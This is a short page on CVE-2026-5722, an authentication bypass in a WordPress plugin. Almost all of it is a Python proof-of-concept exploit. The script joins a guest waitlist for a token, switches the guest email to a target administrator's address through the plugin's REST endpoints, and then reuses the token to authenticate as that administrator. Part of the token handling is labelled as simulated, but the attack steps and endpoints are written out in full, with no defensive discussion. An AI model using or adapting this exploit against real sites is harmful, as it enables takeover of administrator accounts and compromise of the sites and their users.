CVE-2026-5722 WordPress插件身份验证绕过漏洞

import requests def exploit_cve_2026_5722(target_url, attacker_email, target_admin_email): """ Conceptual PoC for CVE-2026-5722 Authentication Bypass """ session = requests.Session() # Step 1: Attacker joins the guest waitlist to get a valid token # Endpoint structure may vary based on plugin implementation waitlist_endpoint = f"{target_url}/wp-json/mc/v1/waitlist" payload_join = { "email": attacker_email, "product_id": 1 } try: response = session.post(waitlist_endpoint, data=payload_join) if response.status_code == 200: # Assuming the token is returned in the response or sent via email (simulated here) verification_token = "simulated_token_from_response" print(f"[+] Token obtained: {verification_token}") # Step 2: Change the guest email to the target admin email # This simulates the logic flaw where changing email does not invalidate the token update_endpoint = f"{target_url}/wp-json/mc/v1/waitlist/update" payload_update = { "current_email": attacker_email, "new_email": target_admin_email } # The request might need the token or cookie to identify the guest session update_response = session.post(update_endpoint, data=payload_update) if update_response.status_code == 200: print("[+] Email updated successfully to target admin email.") # Step 3: Use the original token to authenticate as the target user verify_endpoint = f"{target_url}/wp-json/mc/v1/waitlist/verify" verify_payload = { "token": verification_token } final_response = session.get(verify_endpoint, params=verify_payload) if final_response.status_code == 200: print("[!] EXPLOIT SUCCESSFUL: Authenticated as " + target_admin_email) return True else: print("[-] Verification failed.") else: print("[-] Failed to update email.") else: print("[-] Failed to join waitlist.") except Exception as e: print(f"[-] Error: {e}") return False # Usage # exploit_cve_2026_5722("http://example.com", "[email protected]", "[email protected]")